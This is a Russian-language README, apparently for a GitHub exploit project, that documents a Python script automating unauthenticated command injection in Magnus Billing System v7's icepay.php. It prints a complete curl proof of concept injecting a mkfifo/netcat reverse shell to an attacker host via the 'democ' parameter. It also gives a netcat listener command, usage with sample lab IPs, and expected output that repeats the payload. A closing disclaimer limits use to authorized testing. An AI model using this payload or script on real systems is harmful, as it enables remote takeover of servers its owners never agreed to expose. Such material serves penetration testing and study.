
Этот Python-скрипт автоматизирует эксплуатацию уязвимости внедрения команд в Magnus Billing System v7, а именно в скрипте icepay.php, расположенном по пути /mbilling/lib/icepay/icepay.php. Эксплойт использует параметр democ для выполнения произвольных команд на целевой системе, в конечном итоге устанавливая реверс-шелл на машину злоумышленника.
Уязвимость позволяет неавторизованное внедрение команд с помощью специально сформированного GET-запроса. Первоначальный proof-of-concept (PoC) использовал следующую команду curl:
curl -s 'http://<TARGET_IP>/mbilling/lib/icepay/icepay.php' --get --data-urlencode 'democ=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <PORT> >/tmp/f;'
Этот скрипт автоматизирует этот процесс, делая его настраиваемым через аргументы командной строки.
requests для отправки HTTP-запроса с полезной нагрузкойrequests:
pip install requests
netcat (nc), чтобы реверс-шелл работалnetcat-слушатель на машине атакующего, чтобы поймать реверс-шеллicepay.php должен быть доступенexploit.pynetcat-слушатель:
nc -lvnp <PORT>
<PORT> на выбранный вами порт (например, 443)python exploit.py -t <TARGET_IP> -a <ATTACKER_IP> -p <PORT>
Параметры:
-t, --target: IP-адрес целевой системы Magnus Billing System-a, --attacker: Ваш IP-адрес для получения реверс-шелла-p, --port: Порт на вашей машине для реверс-шеллаpython exploit.py -t 10.10.160.86 -a 10.8.64.79 -p 443
Ожидаемый вывод:
=== Magnus Billing System v7 Exploit ===
Command Injection via icepay.php - Reverse Shell
=======================================
[+] Targeting: http://10.10.160.86/mbilling/lib/icepay/icepay.php
[+] Attacker: 10.8.64.79:443
[+] Sending payload: ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.64.79 443 >/tmp/f;
[+] Request sent successfully!
[*] Check your netcat listener (e.g., 'nc -lvnp 443') for a shell.
netcat-слушатель, чтобы взаимодействовать с реверс-шеллом в случае успехаmkfifo) с помощью netcatprint(response.text) в функции exploit()netcatЭтот инструмент предоставляется только в образовательных целях и для тестирования безопасности. Используйте его только на системах, на тестирование которых у вас есть явное разрешение. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет согласия, является незаконным и неэтичным. Автор не несет ответственности за любое неправильное использование или ущерб, причиненный этим скриптом.
Этот проект выпущен под лицензией MIT. Не стесняйтесь изменять и распространять его по мере необходимости, сохраняя отказ от ответственности без изменений.
Приветствуются вклады, сообщения об ошибках и запросы новых функций. Пожалуйста, не стесняйтесь отправлять pull request или открывать issue.